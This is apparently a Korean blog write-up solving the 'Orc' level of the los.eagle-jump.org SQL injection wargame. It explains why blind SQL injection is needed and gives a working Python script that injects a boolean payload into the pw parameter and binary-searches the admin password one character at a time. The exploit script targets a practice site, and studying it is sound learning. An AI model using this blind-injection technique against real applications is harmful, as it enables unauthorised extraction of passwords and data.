White Security
Orc 문제풀이 본문
los.eagle-jump.org의 세번째 문제입니다.
이번 문제의 특징은 로그인에 성공해도
출력되는 것이 Hello admin 이라는 문자열로
고정되어 있다는 점입니다.
또한 1차로 로그인에 성공해도
2차로 addslashes를 적용한 쿼리 결과값과도 일치해야 하므로
결국은 첫번째 쿼리를 이용해 pw값을 찾아내어
두번째 쿼리를 통과해내는 문제라고 할 수 있겠습니다.
pw 값을 변조하여 로그인에 성공해도
$result['id'] 값이 직접적으로 표시되지 않고
조건문 분기에만 사용되므로
Blind SQL Injection 기법을 사용하여야 합니다.
from urllib import request, parse import math, sys def check_true(response): return (response.find(b'Hello admin') != -1); def if_query(query): url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' \ + parse.quote("' or id='admin' and " + query + '-- -') req = request.Request(url) req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;') req.add_header('user-agent','Mozilla/5.0') response = None while response is None: try: response = request.urlopen(req) except: pass output = response.read() return check_true(output) def check_greater_than(query, val): return if_query(query + '>=' + str(val)) def find_char(query): first = 0 last = 129 while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return chr(first) def get_length(query): first = 0 last = 65 query = 'length(' + query + ')' while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return first def get_content(name): name = '(' + name + ')' content_len = get_length(name); content = '' if content_len == 0: sys.stdout.write('Invalid request\n') return '' for idx in range(1, content_len + 1): content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))') sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content content = get_content('pw')
취약점을 기반으로 작성한 파이썬3 스크립트입니다.
스크립트를 사용해 얻어낸 pw 값을 인자에 넣어주면
두번째 쿼리가 통과됩니다.
'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글
Darkelf 문제풀이 (0) | 2019.01.30 |
---|---|
Wolfman 문제풀이 (0) | 2019.01.30 |
Goblin 문제풀이 (0) | 2019.01.30 |
Cobolt 문제풀이 (0) | 2019.01.30 |
Gremlin 문제풀이 (0) | 2019.01.30 |
Comments